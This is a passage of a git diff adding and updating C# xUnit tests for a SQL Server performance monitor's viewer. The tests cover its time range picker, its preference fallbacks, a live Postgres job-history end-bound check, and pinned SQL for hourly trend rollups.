+           choice is that span, capped at a year if the retention is ever raised. */
+        var days = Math.Min(DarlingRetentionHorizons.AlertHistoryRetentionDays, 365);
+        Assert.Equal(TimeSpan.FromDays(days), ViewerTimeRangeWindow.AlertHistoryLongestChoice.Span);
+        Assert.Equal(TimeRangeKind.Relative, ViewerTimeRangeWindow.AlertHistoryLongestChoice.Kind);
+        Assert.True(DarlingRetentionHorizons.AlertHistoryRetentionDays <= 365, "retention above a year: re-read #5562 R8");
+        Assert.Contains("SetLongestChoice(ViewerTimeRangeWindow.AlertHistoryLongestChoice", Code("AlertsHistoryTab.xaml.cs"), StringComparison.Ordinal);
+        Assert.DoesNotContain("365d\")", Code("AlertsHistoryTab.xaml.cs"), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ThePickersLongestChoice_IsOneMoreButton_ThatSelectsItsSpan()
+    {
+        StaTestThread.Run(() =>
+        {
+            var now = new DateTime(2026, 10, 8, 11, 1, 0, DateTimeKind.Unspecified);
+            var picker = new TimeRangePicker { ZoneProvider = () => TimeZoneInfo.Utc, NowProvider = () => now, Compact = true };
+            Assert.Equal(9, picker.RollingPanel.Children.Count);
+
+            picker.SetLongestChoice(ViewerTimeRangeWindow.AlertHistoryLongestChoice, "All");
+            Assert.Equal(10, picker.RollingPanel.Children.Count);
+            var all = (Button)picker.RollingPanel.Children[9];
+            Assert.Equal("All", all.Content);
+            Assert.Equal("90d", ((TimeRangeSpec)all.Tag).Id);
+
+            TimeRangeChangedEventArgs? last = null;
+            picker.RangeChanged += (_, e) => last = e;
+            Assert.True(picker.Select((TimeRangeSpec)all.Tag));
+            Assert.Equal(TimeSpan.FromDays(90), last!.Range.Span);
+
+            picker.SetLongestChoice(null);
+            Assert.Equal(9, picker.RollingPanel.Children.Count);
+        });
+    }
+
+    // ── R6: Job History's end bound, applied before the row cap ──
+
+    private const int EndBoundServer = -556_201;
+    private const long EndBoundIdBase = 5_562_000_000L;
+
+    [Fact]
+    public async Task AFinishedRange_KeepsEveryRunInsideIt_WhenMoreRunsAfterItsEndThanTheCap()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the #5562 job-history end-bound live test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await CleanupAsync(connection, ct);
+
+        await using var viewer = new ViewerDataService(connectionString!);
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, EndBoundServer, "darling-5562-endbound", ct);
+
+            /* The range: two days ago to one day ago. The server has no server_properties row, so its clock is UTC. */
+            var end = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow).AddDays(-1);
+            var start = end.AddDays(-1);
+            var id = 0L;
+            var inside = new System.Collections.Generic.List<(string Job, DateTime At)>();
+
+            for (var i = 1; i <= 6; i++)
+            {
+                var at = start.AddHours(i * 3);
+                await InsertAsync(connection, ct, ++id, at, "inside_" + i);
+                inside.Add(("inside_" + i, at));
+            }
+
+            /* The newest run before the end, with microseconds the store keeps, and the start itself. */
+            var lastInside = end.AddTicks(-10);
+            await InsertAsync(connection, ct, ++id, lastInside, "inside_last_microsecond");
+            inside.Add(("inside_last_microsecond", lastInside));
+            await InsertAsync(connection, ct, ++id, start, "inside_at_start");
+            inside.Add(("inside_at_start", start));
+
+            /* Outside: a run exactly at the end (the end is exclusive), one before the start, and 40 after the end, more than
+               the cap of 10 used below. */
+            await InsertAsync(connection, ct, ++id, end, "outside_at_end");
+            await InsertAsync(connection, ct, ++id, start.AddMinutes(-1), "outside_before_start");
+            for (var i = 1; i <= 40; i++)
+            {
+                await InsertAsync(connection, ct, ++id, end.AddMinutes(i * 10), "after_" + i);
+            }
+
+            const int cap = 10;
+
+            /* The start-only read (the old shape) fills its cap from the runs after the end: nothing of the range survives a client trim. */
+            var startOnly = await viewer.GetJobHistoryAsync(start, EndBoundServer, cap, cancellationToken: ct);
+            Assert.Equal(cap, startOnly.Count);
+            Assert.DoesNotContain(startOnly, r => r.RunDateTimeUtc is { } ran && ran < end);
+
+            /* With the end bound the SQL applies it before the cap: every run inside the range comes back, newest first. */
+            var bounded = await viewer.GetJobHistoryAsync(start, EndBoundServer, cap, untilUtc: end, cancellationToken: ct);
+            Assert.Equal(inside.Count, bounded.Count);
+            Assert.All(bounded, r => Assert.True(r.RunDateTimeUtc is { } ran && ran >= start && ran < end, r.JobName));
+            Assert.Equal(inside.OrderByDescending(r => r.At).Select(r => r.Job).ToArray(), bounded.Select(r => r.JobName).ToArray());
+            Assert.Equal(lastInside, bounded[0].RunDateTimeUtc);
+            Assert.DoesNotContain(bounded, r => r.JobName is "outside_at_end" or "outside_before_start");
+
+            /* A cap smaller than the range still cuts the newest of the range, not of everything since the start. */
+            var capped = await viewer.GetJobHistoryAsync(start, EndBoundServer, 3, untilUtc: end, cancellationToken: ct);
+            Assert.Equal(new[] { "inside_last_microsecond", "inside_6", "inside_5" }, capped.Select(r => r.JobName).ToArray());
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, CleanupAsync);
+        }
+    }
+
+    private static Task InsertAsync(NpgsqlConnection connection, CancellationToken ct, long id, DateTime at, string job) =>
+        DarlingMcpTestData.ExecAsync(connection, ct,
+            @"INSERT INTO job_history (job_history_id, collection_time, server_id, server_name, instance_id,
+                                       job_id, job_name, job_enabled, step_id, step_name, run_status,
+                                       run_status_desc, run_datetime, run_duration_seconds, retries_attempted, message)
+              VALUES ($1,$2,$3,$4,$5,$6,$7,true,0,'(Job outcome)',1,'The job succeeded.',$8,5,0,NULL)",
+            EndBoundIdBase + id, at, EndBoundServer, "srv" + EndBoundServer.ToString(CultureInfo.InvariantCulture),
+            EndBoundIdBase + id, job, job, at);
+
+    private static async Task CleanupAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await using var jh = new NpgsqlCommand("DELETE FROM job_history WHERE server_id = -556201", connection);
+        await jh.ExecuteNonQueryAsync(ct);
+        await using var svr = new NpgsqlCommand("DELETE FROM servers WHERE server_id = -556201", connection);
+        await svr.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerTimeRangeWindowTests.cs b/Darling/Darling.Tests/ViewerTimeRangeWindowTests.cs
new file mode 100644
index 0000000000..91abdb08d6
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerTimeRangeWindowTests.cs
@@ -0,0 +1,201 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.Ui;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5562: the Viewer's side of the shared time range picker. <see cref="ViewerTimeRangeWindow"/> is the pure core: the
+/// window a held range reads, the whole hours the few integer readers take, the legacy preference index, what Apply to
+/// All sends, and the cadence note. (A ViewerServerTab needs the app's resources, so the rules are pinned here.)
+/// </summary>
+public sealed class ViewerTimeRangeWindowTests
+{
+    private static readonly DateTime Now = new(2026, 10, 8, 15, 0, 0, DateTimeKind.Unspecified);
+    private static readonly TimeZoneInfo Eastern = TimeZoneInfo.FindSystemTimeZoneById("America/New_York");
+
+    [Theory]
+    [InlineData(0, "1h")]
+    [InlineData(1, "4h")]
+    [InlineData(2, "12h")]
+    [InlineData(3, "1d")]
+    [InlineData(4, "1w")]
+    [InlineData(5, "1d")]
+    [InlineData(-1, "1d")]
+    public void LegacyIndex_MapsToTheRangeItAlwaysMeant(int index, string expectedId)
+    {
+        Assert.Equal(expectedId, ViewerTimeRangeWindow.FromLegacyIndex(index).Id);
+    }
+
+    [Fact]
+    public void ACalendarPeriod_FlowsThroughTheWindow_InTheDisplayZone()
+    {
+        var (start, end, live) = ViewerTimeRangeWindow.Window(TimeRangeSpec.ForPeriod(CalendarPeriod.Today), Now, Eastern);
+
+        Assert.Equal(new DateTime(2026, 10, 8, 4, 0, 0), start);   // local midnight, EDT
+        Assert.Equal(Now, end);
+        Assert.True(live);
+    }
+
+    [Fact]
+    public void AFinishedPeriod_KeepsItsInstants_AndIsNotLive()
+    {
+        var (start, end, live) = ViewerTimeRangeWindow.Window(TimeRangeSpec.ForPeriod(CalendarPeriod.Yesterday), Now, Eastern);
+
+        Assert.Equal(new DateTime(2026, 10, 7, 4, 0, 0), start);
+        Assert.Equal(new DateTime(2026, 10, 8, 4, 0, 0), end);
+        Assert.False(live);
+    }
+
+    [Theory]
+    [InlineData(5, 1)]
+    [InlineData(45, 1)]
+    [InlineData(60, 1)]
+    [InlineData(61, 2)]
+    [InlineData(24 * 60, 24)]
+    public void ASubHourSpan_FlowsThroughTheWindow_AndRoundsUpToWholeHoursOnlyForTheIntegerReaders(int minutes, int expectedHours)
+    {
+        var (start, end, _) = ViewerTimeRangeWindow.Window(TimeRangeSpec.Relative(TimeSpan.FromMinutes(minutes)), Now, Eastern);
+
+        Assert.Equal(TimeSpan.FromMinutes(minutes), end - start);
+        Assert.Equal(expectedHours, ViewerTimeRangeWindow.HoursBack(start, end));
+    }
+
+    [Fact]
+    public void ARangeThatCannotResolveYet_FallsBackToTwentyFourHours()
+    {
+        // A since-range whose start has not happened yet cannot resolve: the Viewer's historical 24 hours stands in.
+        var nowUtc = new DateTime(2026, 10, 8, 4, 1, 0, DateTimeKind.Unspecified);
+        var (start, end, live) = ViewerTimeRangeWindow.Window(TimeRangeSpec.SinceInstant(nowUtc.AddHours(1)), nowUtc, Eastern);
+
+        Assert.Equal(TimeSpan.FromHours(24), end - start);
+        Assert.True(live);
+    }
+
+    [Fact]
+    public void TodayInItsFirstMinutes_ReadsMidnightToNow_NeverAnotherRange()
+    {
+        // 00:01 in New York: exempt from the 5-minute floor (seat ruling), so it reads 00:00 to now.
+        var justAfterMidnight = new DateTime(2026, 10, 8, 4, 1, 0, DateTimeKind.Unspecified);
+        var (start, end, live) = ViewerTimeRangeWindow.Window(TimeRangeSpec.ForPeriod(CalendarPeriod.Today), justAfterMidnight, Eastern);
+
+        Assert.Equal(new DateTime(2026, 10, 8, 4, 0, 0), start);
+        Assert.Equal(justAfterMidnight, end);
+        Assert.True(live);
+    }
+
+    [Theory]
+    [InlineData("Queries", "Query Store by Duration", "query_store")]
+    [InlineData("Queries", "Active Queries", "query_snapshots")]
+    [InlineData("Queries", null, "query_stats")]
+    [InlineData("Blocking", "Current Waits", "waiting_tasks")]
+    [InlineData("Blocking", "Blocked Process Reports", "blocked_process_report")]
+    [InlineData("Memory", "Memory Clerks", "memory_clerks")]
+    [InlineData("CPU", "CPU Scheduler", "cpu_scheduler_stats")]
+    [InlineData("Wait Stats", "anything", "wait_stats")]
+    public void TheMainCollector_FollowsTheSubTabOnScreen_AsLiteDoes(string tab, string? sub, string expected)
+    {
+        Assert.Equal(expected, ViewerTimeRangeWindow.MainCollectorFor(tab, sub));
+        Assert.True(PerformanceMonitor.Collectors.CollectorScheduleDefaults.All.ContainsKey(expected));
+    }
+
+    [Theory]
+    [InlineData("400000mo")]
+    [InlineData("1000000d")]
+    [InlineData("999999w")]
+    public void ACorruptPreferenceRange_FallsBackToTheIndexWithoutThrowing(string corrupt)
+    {
+        /* #5562 review H1: a hand-edited viewer-preferences.json used to throw OverflowException from Load() at startup. */
+        var prefs = new ViewerPreferences { DefaultTimeRange = corrupt, DefaultTimeRangeIndex = 1 }.Normalize();
+        Assert.Equal("4h", prefs.DefaultTimeRange);
+        Assert.Equal(1, prefs.DefaultTimeRangeIndex);
+    }
+
+    [Fact]
+    public void JobHistory_LongestChoice_IsAYear()
+    {
+        Assert.Equal(TimeSpan.FromDays(365), ViewerTimeRangeWindow.JobHistoryLongestChoice.Span);
+        Assert.False(TimeRangeSpec.TryFromId("1y", out _));
+    }
+
+    [Fact]
+    public void ApplyToAll_SendsACalendarPeriodAsTheInstantsItNames_AndLeavesARollingRangeAlone()
+    {
+        var rolling = TimeRangeSpec.Relative(TimeSpan.FromHours(4));
+        Assert.Same(rolling, TimeRangePresets.ForBroadcast(rolling, Now, Eastern));
+
+        var today = TimeRangePresets.ForBroadcast(TimeRangeSpec.ForPeriod(CalendarPeriod.Today), Now, Eastern);
+        Assert.Equal(TimeRangeKind.Since, today.Kind);
+        Assert.Equal(new DateTime(2026, 10, 8, 4, 0, 0), today.StartUtc);
+
+        var yesterday = TimeRangePresets.ForBroadcast(TimeRangeSpec.ForPeriod(CalendarPeriod.Yesterday), Now, Eastern);
+        Assert.Equal(TimeRangeKind.Fixed, yesterday.Kind);
+        Assert.Equal(new DateTime(2026, 10, 7, 4, 0, 0), yesterday.StartUtc);
+        Assert.Equal(new DateTime(2026, 10, 8, 4, 0, 0), yesterday.EndUtc);
+    }
+
+    [Fact]
+    public void Preferences_LegacyIndexOnly_MapsToTheNewStringId()
+    {
+        var prefs = new ViewerPreferences { DefaultTimeRangeIndex = 4 }.Normalize();
+
+        Assert.Equal("1w", prefs.DefaultTimeRange);
+        Assert.Equal(4, prefs.DefaultTimeRangeIndex);
+    }
+
+    [Fact]
+    public void Preferences_APeriodId_WinsOverTheLegacyIndex_AndAFixedRangeIsNeverKept()
+    {
+        var period = new ViewerPreferences { DefaultTimeRange = "previous-week", DefaultTimeRangeIndex = 0 }.Normalize();
+        Assert.Equal("previous-week", period.DefaultTimeRange);
+        Assert.Equal(3, period.DefaultTimeRangeIndex);   // the nearest the legacy combo could hold: its default
+
+        var fixedRange = new ViewerPreferences
+        {
+            DefaultTimeRange = "fixed:2026-10-01T04:00:00Z/2026-10-02T04:00:00Z",
+            DefaultTimeRangeIndex = 1,
+        }.Normalize();
+        Assert.Equal("4h", fixedRange.DefaultTimeRange);
+
+        var unknown = new ViewerPreferences { DefaultTimeRange = "nonsense" }.Normalize();
+        Assert.Equal("1d", unknown.DefaultTimeRange);
+    }
+
+    [Theory]
+    [InlineData("Overview", "cpu_utilization")]
+    [InlineData("Wait Stats", "wait_stats")]
+    [InlineData("Queries", "query_stats")]
+    [InlineData("Plan Viewer", null)]
+    public void TheMainCollector_IsNamedByTheInnerTab(string header, string? expected)
+    {
+        Assert.Equal(expected, ViewerTimeRangeWindow.MainCollectorFor(header));
+    }
+
+    [Fact]
+    public void TheSampleInterval_IsTheShippedCadence_WhenNothingOverridesIt()
+    {
+        Assert.Equal(TimeSpan.FromMinutes(1), ViewerTimeRangeWindow.SampleIntervalFor("wait_stats", 7, Array.Empty<CollectorScheduleRow>()));
+        Assert.Null(ViewerTimeRangeWindow.SampleIntervalFor(null, 7, null));
+        Assert.Null(ViewerTimeRangeWindow.SampleIntervalFor("not_a_collector", 7, null));
+    }
+
+    [Fact]
+    public void ADataStart_ShowsTheNoteOnThePicker_OnlyWhenTheRangeStartsWellBeforeIt()
+    {
+        var range = TimeRangeSpec.Relative(TimeSpan.FromDays(2));
+        Assert.True(range.TryResolve(Now, Eastern, out var resolved, out _));
+
+        Assert.NotNull(TimeRangeNotes.DataStartNote(resolved!, Now.AddHours(-3)));
+        Assert.Null(TimeRangeNotes.DataStartNote(resolved!, Now.AddDays(-3)));
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerTrendRoutingPortTests.cs b/Darling/Darling.Tests/ViewerTrendRoutingPortTests.cs
index 5b9b05cb13..8b182886fc 100644
--- a/Darling/Darling.Tests/ViewerTrendRoutingPortTests.cs
+++ b/Darling/Darling.Tests/ViewerTrendRoutingPortTests.cs
@@ -40,6 +40,7 @@ namespace Darling.Tests;
 /// materialization watermark rather than this ladder — its own disclosure, in the same title idiom, off the
 /// floor the route already carried; those pins are here too, beside the siblings'.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class ViewerTrendRoutingPortTests
 {
     private static readonly DateTime Now = new(2026, 8, 19, 12, 0, 0, DateTimeKind.Utc);
@@ -55,11 +56,39 @@ public sealed class ViewerTrendRoutingPortTests
     public void McpHourlySql_IsTheStorageBuilder_WithoutTheDatabaseFilter()
     {
         Assert.Equal(Lf(DurationTrendRouting.BuildBucketedHourlyTrendSql(TimescaleSupport.QueryStatsHourlyView)), Lf(DarlingTrendReader.QueryDurationTrendHourlySql));
-        Assert.Equal(Lf(DurationTrendRouting.BuildBucketedHourlyTrendSql(TimescaleSupport.ProcedureStatsHourlyView)), Lf(DarlingTrendReader.ProcedureDurationTrendHourlySql));
+        /* #5449: the procedure rollup's read also counts the quiet hours (coverIdleHours). */
+        Assert.Equal(Lf(DurationTrendRouting.BuildBucketedHourlyTrendSql(TimescaleSupport.ProcedureStatsHourlyView, coverIdleHours: true)), Lf(DarlingTrendReader.ProcedureDurationTrendHourlySql));
         Assert.DoesNotContain("$4::text[]", DarlingTrendReader.QueryDurationTrendHourlySql, StringComparison.Ordinal);
         Assert.DoesNotContain("$4::text[]", DarlingTrendReader.ProcedureDurationTrendHourlySql, StringComparison.Ordinal);
     }
 
+    /// <summary>
+    /// #5449: the idle hours (<c>run_hours</c> and <c>idle_hours</c>: a SUCCESS collector run falls in the hour and the raw table
+    /// holds no row in it) are on both procedure hourly statements, the viewer's and the tool's, as the same text, and on no
+    /// query-view statement. The fill reads the collector's log, so it is bounded by the window like the rollup read.
+    /// </summary>
+    [Fact]
+    public void ProcedureHourlySql_CarriesTheSameIdleHoursFragment_AndTheQueryViewsCarryNone()
+    {
+        static string Fragment(string sql)
+        {
+            var text = Lf(sql);
+            var start = text.IndexOf("run_hours AS", StringComparison.Ordinal);
+            var end = text.IndexOf("filled AS", StringComparison.Ordinal);
+            Assert.True(start > 0 && end > start, "no idle-hours fragment");
+            return string.Join('\n', text[start..end].Split('\n').Select(l => l.Trim()));
+        }
+
+        var mcp = Fragment(DarlingTrendReader.ProcedureDurationTrendHourlySql);
+        Assert.Equal(mcp, Fragment(ViewerDataService.ProcedureDurationTrendHourlySql));
+        Assert.Equal(mcp, Fragment(DurationTrendRouting.BuildHourlyTrendSql(TimescaleSupport.ProcedureStatsHourlyView, withDatabaseFilter: false, coverIdleHours: true)));
+        Assert.Contains("collection_time < $3 + INTERVAL '1 hour'", mcp, StringComparison.Ordinal);
+        Assert.Contains("run_hours.bucket < $3", mcp, StringComparison.Ordinal);
+        Assert.Contains("NOT EXISTS", mcp, StringComparison.Ordinal);
+        Assert.DoesNotContain("run_hours", DarlingTrendReader.QueryDurationTrendHourlySql, StringComparison.Ordinal);
+        Assert.DoesNotContain("run_hours", ViewerDataService.QueryDurationTrendHourlySql, StringComparison.Ordinal);
+    }
+
     /// <summary>
     /// The viewer's hourly SQL reads the rollup rows the MCP's buckets are built from, plus exactly one line —
     /// the #1319 database filter, the same guarded <c>$4::text[]</c> shape its raw reads carry. Until #3897 the
@@ -79,11 +108,18 @@ public void ViewerHourlySql_IsTheMcpText_PlusTheDatabaseFilterLine(string name)
         };
 
         var viewerLines = Lf(viewer).Split('\n');
+        /* #5414 round 2: the filter sits INSIDE the three sums (elapsed, executions, matched rows), never as a WHERE term, so an
+           hour the chosen databases had no rollup row in is a measured 0 and not a missing point; the old WHERE line is gone. */
         var filterLines = viewerLines.Where(l => l.Contains("$4::text[]", StringComparison.Ordinal)).ToArray();
-        var filter = Assert.Single(filterLines);
-        Assert.Equal("AND   ($4::text[] IS NULL OR database_name = ANY($4))", filter.Trim());
-
-        /* The rollup read, FROM through GROUP BY bucket: the viewer's minus its filter line IS the MCP's hourly CTE. */
+        Assert.Equal(3, filterLines.Length);
+        Assert.All(filterLines, l => Assert.Contains("FILTER (WHERE $4::text[] IS NULL OR database_name = ANY($4))", l, StringComparison.Ordinal));
+        Assert.DoesNotContain(viewerLines, l => l.Trim() == "AND   ($4::text[] IS NULL OR database_name = ANY($4))");
+        /* Empty is one window-level test, never a per-hour HAVING. */
+        Assert.Contains("WHERE EXISTS (SELECT 1 FROM hourly WHERE matched_rows > 0)", Lf(viewer), StringComparison.Ordinal);
+        Assert.DoesNotContain("HAVING", viewer, StringComparison.Ordinal);
+
+        /* The rollup read, FROM through GROUP BY bucket: the viewer's IS the MCP's hourly CTE read, line for line (the filter
+           lives in the select list above it). */
         static string[] RollupRead(IEnumerable<string> lines) => lines
             .Select(l => l.Trim())
             .SkipWhile(l => !l.StartsWith("FROM ", StringComparison.Ordinal))
@@ -91,13 +127,10 @@ static string[] RollupRead(IEnumerable<string> lines) => lines
             .Append("GROUP BY bucket")
             .ToArray();
         Assert.Equal(
-            RollupRead(viewerLines.Where(l => !l.Contains("$4::text[]", StringComparison.Ordinal))),
+            RollupRead(viewerLines),
             RollupRead(Lf(mcp).Split('\n')));
         Assert.Contains("GROUP BY bucket", Lf(mcp), StringComparison.Ordinal);
 
-        /* The filter sits inside the WHERE, before the GROUP BY — a filter after the aggregate would be a HAVING
-           on a column the rollup groups by, which parses and silently filters nothing. */
-        Assert.True(Array.IndexOf(viewerLines, filter) < Array.FindIndex(viewerLines, l => l.StartsWith("GROUP BY", StringComparison.Ordinal)));
         Assert.Contains("$4", viewer, StringComparison.Ordinal);
         Assert.DoesNotContain("$5", viewer, StringComparison.Ordinal);
     }
@@ -151,7 +184,7 @@ public void McpTrendReaderMembers_AreAliasesOfTheStorageDefinitions()
 
         Assert.Contains("public const string HourlyBucketSecondsSql = DurationTrendRouting.HourlyBucketSecondsSql;", source, StringComparison.Ordinal);
         Assert.Contains("public static readonly string QueryDurationTrendHourlySql =\n        DurationTrendRouting.BuildBucketedHourlyTrendSql(TimescaleSupport.QueryStatsHourlyView);", Lf(source), StringComparison.Ordinal);
-        Assert.Contains("public static readonly string ProcedureDurationTrendHourlySql =\n        DurationTrendRouting.BuildBucketedHourlyTrendSql(TimescaleSupport.ProcedureStatsHourlyView);", Lf(source), StringComparison.Ordinal);
+        Assert.Contains("public static readonly string ProcedureDurationTrendHourlySql =\n        DurationTrendRouting.BuildBucketedHourlyTrendSql(TimescaleSupport.ProcedureStatsHourlyView, coverIdleHours: true);", Lf(source), StringComparison.Ordinal);
         Assert.Contains("public static readonly TimeSpan RawTierMargin = DurationTrendRouting.RawTierMargin;", source, StringComparison.Ordinal);
         Assert.Contains("public static readonly TimeSpan TruncationSlack = DurationTrendRouting.TruncationSlack;", source, StringComparison.Ordinal);
         Assert.Contains("public static bool ShouldUseRawTier(DateTime startUtc, DateTime nowUtc) =>\n        DurationTrendRouting.ShouldUseRawTier(startUtc, nowUtc);", Lf(source), StringComparison.Ordinal);
@@ -259,7 +292,7 @@ public void ExecutionCountTrend_RoutesWithItsSibling_AndReadsTheSharedRollupColu
         Assert.Contains("ReadTrendPointsAsync(QueryDurationTrendHourlySql, serverId, startUtc, endUtc, databaseNames, valueOrdinal: 2, executionsOrdinal: null", method, StringComparison.Ordinal);
 
         /* Ordinal 2 of the shared hourly text IS executions_per_second. */
-        var projection = Lf(ViewerDataService.QueryDurationTrendHourlySql).Split('\n').Where(l => l.Contains(" AS ", StringComparison.Ordinal)).Select(l => l.Trim()).ToArray();
+        var projection = Lf(ViewerDataService.QueryDurationTrendHourlySql).Split('\n').Where(l => l.Contains(" AS ", StringComparison.Ordinal)).Select(l => l.Trim()).TakeLast(3).ToArray();
         Assert.Equal(3, projection.Length);
         Assert.EndsWith("AS collection_time,", projection[0], StringComparison.Ordinal);
         Assert.EndsWith("AS elapsed_ms_per_second,", projection[1], StringComparison.Ordinal);
@@ -476,6 +509,7 @@ private static int CountOf(string text, string needle)
 /// in CI; the seed's shape is the sibling test's, and the routing assertions are the pure ones above run
 /// against the real relation.
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class ViewerTrendRoutingLivePostgresTests
 {
     private const int ServerId = -936536;
diff --git a/Darling/Darling.Tests/ViewerTypedRangeZoneTests.cs b/Darling/Darling.Tests/ViewerTypedRangeZoneTests.cs
index 83290771ad..358cf63eca 100644
--- a/Darling/Darling.Tests/ViewerTypedRangeZoneTests.cs
+++ b/Darling/Darling.Tests/ViewerTypedRangeZoneTests.cs
@@ -202,71 +202,74 @@ public void ChoosingAPreset_HoldsNothing()
         Assert.Null(range.Render(ServerZone));
     }
 
-    /* ---- source pins: the tab reaches the range only through the held instants ---- */
+    /* ---- source pins: the tab holds the range in the shared picker and draws it in its own zone (#5562) ---- */
 
     [Fact]
-    public void GetCustomRangeUtc_ReturnsTheHeldPair_AndDoesNotParseThePickers()
+    public void TheWindowIsReadFromThePickersHeldRange_NotFromControlsThatParseText()
     {
-        var body = StripComments(MemberText(TabSource(), "GetCustomRangeUtc"));
+        var body = StripComments(MemberText(TabSource(), "GetWindowUtc"));
 
+        Assert.Contains("ViewerTimeRangeWindow.Window(RangePicker.Value", body);
         Assert.DoesNotContain("DisplayToNaiveUtc", body);
         Assert.DoesNotContain("ConvertFromDisplay", body);
-        Assert.DoesNotContain("GetDateTimeFromPickers", body);
-        Assert.Contains("_customRange", body);
     }
 
     [Fact]
-    public void TheDisplayModeSwitch_ParsesNothing_AndDrawsTheHeldRangeInTheNewZone()
+    public void TheDisplayModeSwitch_ParsesNothing_AndRedrawsThePickerInTheNewZone()
     {
         var body = StripComments(MemberText(TabSource(), "TimeDisplayMode_SelectionChanged"));
 
         Assert.DoesNotContain("DisplayToNaiveUtc", body);
         Assert.DoesNotContain("ConvertFromDisplay", body);
-        Assert.DoesNotContain("GetDateTimeFromPickers", body);
         Assert.DoesNotContain("ForDisplay", body);
-        Assert.Contains("RenderCustomRange(", body);
-        Assert.Contains("DisplayZoneFor(mode,", body);
+        Assert.Contains("RefreshRangePicker()", body);
     }
 
     [Theory]
-    [InlineData("ApplyExternalTimeRange", "_customRange.Set(")]
-    [InlineData("ApplyExternalTimeRange", "_customRange.Clear()")]
-    [InlineData("SetToolbarWindowUtc", "_customRange.Set(")]
-    [InlineData("TimeRangeCombo_SelectionChanged", "_customRange.Clear()")]
-    [InlineData("TimeRangeCombo_SelectionChanged", "HoldPickersAsRange(")]
-    [InlineData("ApplyPickerEdit", "_customRange.ApplyEdit(")]
-    public void EveryPlaceThatSetsThePickers_HoldsTheRange(string member, string expected)
+    [InlineData("ApplyExternalTimeRange", "RangePicker.Value = range")]
+    [InlineData("SetToolbarWindowUtc", "TimeRangeSpec.FixedRange(fromUtc, toUtc)")]
+    [InlineData("InitializeRangePicker", "RangePicker.Value = ViewerTimeRangeWindow.DefaultFor(preferences)")]
+    [InlineData("InitializeRangePicker", "RangePicker.ZoneProvider = () => TabDisplayZone")]
+    public void EveryPlaceThatSetsThePicker_HoldsTheRangeAndTheTabsZone(string member, string expected)
     {
         Assert.Contains(expected, StripComments(MemberText(TabSource(), member)));
     }
 
     [Theory]
-    [InlineData("ApplyExternalTimeRange")]
-    [InlineData("SetToolbarWindowUtc")]
-    [InlineData("ApplyPickerEdit")]
     [InlineData("SetDisplayModeSelection")]
     [InlineData("RefreshServerClockAsync")]
-    public void EveryPlaceThatMovesTheZoneOrTheRange_DrawsThePickersFromTheHeldRange(string member)
+    public void EveryPlaceThatMovesTheZone_RedrawsThePicker(string member)
     {
-        Assert.Contains("RenderCustomRange(", StripComments(MemberText(TabSource(), member)));
+        Assert.Contains("RefreshRangePicker()", StripComments(MemberText(TabSource(), member)));
     }
 
     [Fact]
-    public void ThePickersAreWrittenOnlyByTheDrawing_AndTheDefaultSeed()
+    public void TheOverviewLanesAlwaysGetTheExplicitWindow_SoASubHourSpanIsNotRoundedToHours()
     {
-        var source = StripComments(TabSource());
-        var rendering = StripComments(MemberText(TabSource(), "RenderCustomRange"));
-        var comboSetup = StripComments(MemberText(TabSource(), "InitializeTimeComboBoxes"));
-        var seed = StripComments(MemberText(TabSource(), "TimeRangeCombo_SelectionChanged"));
+        var body = StripComments(MemberText(TabSource(), "GetOverviewCustomRange"));
 
-        var setters = new Regex(@"\b(?:From|To)(?:DatePicker\.SelectedDate|HourCombo\.SelectedIndex|MinuteCombo\.SelectedIndex)\s*=(?!=)");
-        var total = setters.Matches(source).Count;
-        var allowed = setters.Matches(rendering).Count + setters.Matches(comboSetup).Count + setters.Matches(seed).Count;
+        Assert.Contains("GetWindowUtc()", body);
+        Assert.DoesNotContain("(null, null)", body);
+    }
 
-        Assert.Equal(allowed, total);
-        Assert.Equal(6, setters.Matches(rendering).Count);
+    [Fact]
+    public void TheDataStartNote_IsFedByTheFloorEveryBannerSiteAlreadyAwaits()
+    {
+        /* #5562 R7: the six primary surfaces once awaited their probe through a feeding helper; now every banner site reaches the
+           picker through UpdateTruncationBanner (ViewerTimeRangeGapFixTests pins the site counts and the feed). */
+        Assert.Contains("RangePicker.DataStartUtc = floor", StripComments(MemberText(TabSource(), "RecordDataStart")));
+        Assert.DoesNotContain("PrimaryDataStartAsync", TabSource());
+        foreach (var file in new[] { "ViewerServerTab.Queries.cs", "ViewerServerTab.ActiveQueries.cs", "ViewerServerTab.Blocking.cs" })
+        {
+            var code = ViewerSource(file, ThisFile());
+            Assert.Contains("DataStartOrNullAsync(", code);
+            Assert.DoesNotContain("PrimaryDataStartAsync(", code);
+        }
     }
 
+    private static string ThisFile([CallerFilePath] string thisFile = "") => thisFile;
+
+
     /* ---- helpers ---- */
 
     private static string TabSource([CallerFilePath] string thisFile = "") => ViewerSource("ViewerServerTab.TimeRange.cs", thisFile);
@@ -465,7 +468,7 @@ public void AlertHistory_ReadsTheClocksOncePerLoad_AndStampsEachRow()
     {
         var source = ViewerTypedRangeTests.ViewerSource("ViewerDataService.AlertHistory.cs", ThisFile());
         var display = ViewerTypedRangeTests.StripComments(ViewerTypedRangeTests.MemberText(source, "TimeLocal"));
